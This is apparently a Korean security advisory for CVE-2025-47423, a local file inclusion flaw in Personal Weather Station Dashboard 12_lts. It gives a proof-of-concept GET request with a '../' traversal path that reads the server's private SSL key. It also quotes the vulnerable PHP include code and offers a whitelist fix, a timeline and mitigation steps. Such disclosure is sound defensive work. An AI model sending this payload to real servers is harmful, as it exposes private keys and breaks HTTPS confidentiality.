
발견자: Matthew Eagle
상태: 공개됨
보고 날짜: 2025-05-05
CVE ID: CVE-2025-47423
Personal Weather Station Dashboard 버전 12_lts의 로컬 파일 포함(LFI) 취약점으로 인해 인증되지 않은 원격 공격자가 서버의 임의의 파일을 읽을 수 있습니다. 이 결함을 악용하면 개인 SSL 키를 포함한 민감한 파일에 접근할 수 있으며, HTTPS 연결의 기밀성과 무결성이 손상될 수 있습니다.
/others/_test.phptest (GET 방식)이 결함으로 인해 원격 공격자는 다음을 수행할 수 있습니다:
server.key)CVSS: 5.8 중간
GET /others/_test.php?test=../../../apache/conf/ssl.key/server.key HTTP/1.1
Host: www.example.com
응답:
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAs2omMqKSB+lm7xu9Nu3C5...
...TRUNCATED...
-----END RSA PRIVATE KEY-----
$script = trim($_GET['test']);
$script = str_replace('../','',$script);
include($script);
str_replace만으로는 디렉터리 트래버설(directory traversal)을 막기에 충분하지 않습니다.
basename()으로 입력을 검증하고 허용된 파일과 대조$allowed_tests = ['index.php', 'module_test.php'];
$script = isset($_GET['test']) ? basename($_GET['test']) : 'index.php';
if (!in_array($script, $allowed_tests)) {
die("Invalid test file.");
}
include(__DIR__ . '/scripts/' . $script);
| 날짜 | 이벤트 |
|---|---|
| 2025-05-05 | PWS Dashboard 운영자에게 취약점 보고 |
| 2025-05-06 | 확인 응답 및 테스트 관찰 |
| 2025-05-07 | MITRE를 통해 CVE-2025-47423 예약 |
| TBD | 공개 패치 및 CVE 등재 대기 중 |
Personal Weather Station Dashboard 12_lts를 실행 중이라면 다음을 수행해야 합니다:
_test.php를 제거하거나 업데이트취약점을 발견하고 책임 있게 공개한 사람: Matthew Eagle
연락처: [email protected]
공개는 책임 있는 공개(Responsible Disclosure) 가이드라인에 따라 조정되었습니다. 본 문서는 교육 및 방어 목적으로 배포됩니다.